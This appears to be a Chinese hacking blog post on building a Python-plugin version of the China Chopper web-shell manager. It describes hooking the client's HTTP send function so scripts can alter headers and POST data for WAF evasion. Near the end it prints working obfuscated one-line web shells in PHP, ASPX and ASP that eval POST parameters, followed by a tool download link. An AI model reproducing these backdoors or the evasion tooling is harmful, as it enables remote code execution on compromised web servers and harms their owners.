制作过程
中国菜刀用这个函数来发包
BOOL SendRequest( CString& strHeaders, LPVOID lpOptional = NULL, DWORD dwOptionalLen = 0 );
strHeaders就是http头lpOptional是POST数据dwOptionalLen是POST数据的长度
第一次中国菜刀之所以没有增加http头的修改,是因为这个参数是要给CString的引用,处理起来很复杂,经过仔细分析之后,我发现BOOL SendRequest( CString& strHeaders, LPVOID lpOptional = NULL, DWORD dwOptionalLen = 0 ); 调用了BOOL SendRequest( LPCTSTR pstrHeaders = NULL, DWORD dwHeadersLen = 0, LPVOID lpOptional = NULL, DWORD dwOptionalLen = 0 );调用HttpSendRequestW用这个函数来发送HTTP包

  1. BOOL __thiscall CHttpFile::SendRequest(DWORD *this, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength)
  2. {
  3.   DWORD *v5; // esi@1
  4.   BOOL result; // eax@1
  5.   v5 = this;
  6.   result = HttpSendRequestW((HINTERNET)this[5], lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
  7.   if ( !result )
  8.     AfxThrowInternetException(v5[7], 0);
  9.   return result;
  10. }
中国菜刀python插件版习科的-开水网络
中国菜刀

这里的this[5]的位置,刚好是连接的句柄,而第二个参数是WCHAR类型的文本。

  1. HINTERNET hConnect = (HINTERNET)rECX[5];
  2. HttpSendRequestW(hConnect,newheaders,lstrlenW(newheaders),newpostdata,lstrlenA(newpostdata));

所以我直接就调用最终函数。
3.最终效果
可通过脚本修改http头,和POST数据


4.说明
需要32位的python2.7.*(否则会打不开)
headers是一个文本,修改时注意每个header用\r\n分开
这个插件版本的菜刀,可以完成双向加密(过狗),增加基础认证,cookies等等
可以说有了这个 真●特效●威力加强菜刀  我用过之后是这样子的,大家用过也是这样子的!

同时修改一句话为:
Php:

  1. <?php
  2. function xxxx($str){return eval($str);}
  3. function yyyyyyyyyyyyy($str){returnbase64_decode($str);}
  4. xxxx($_POST['pass']); ?>

aspx:

  1. <%@ Page Language="Jscript"validateRequest="false" %>
  2. <%function xxxx(str){returneval(str,"unsafe");}%>
  3. <%var a = Request.Item["ee"];%>
  4. <%var b = xxxx(a);%>
  5. <%Response.Write(b);%>

Asp:

  1. <%
  2. Function xxxx(str)
  3. eval str
  4. End Function
  5. D = request("pass")
  6. xxxx D
  7. %>

下载地址:http://pan.baidu.com/s/1c0D8YJ2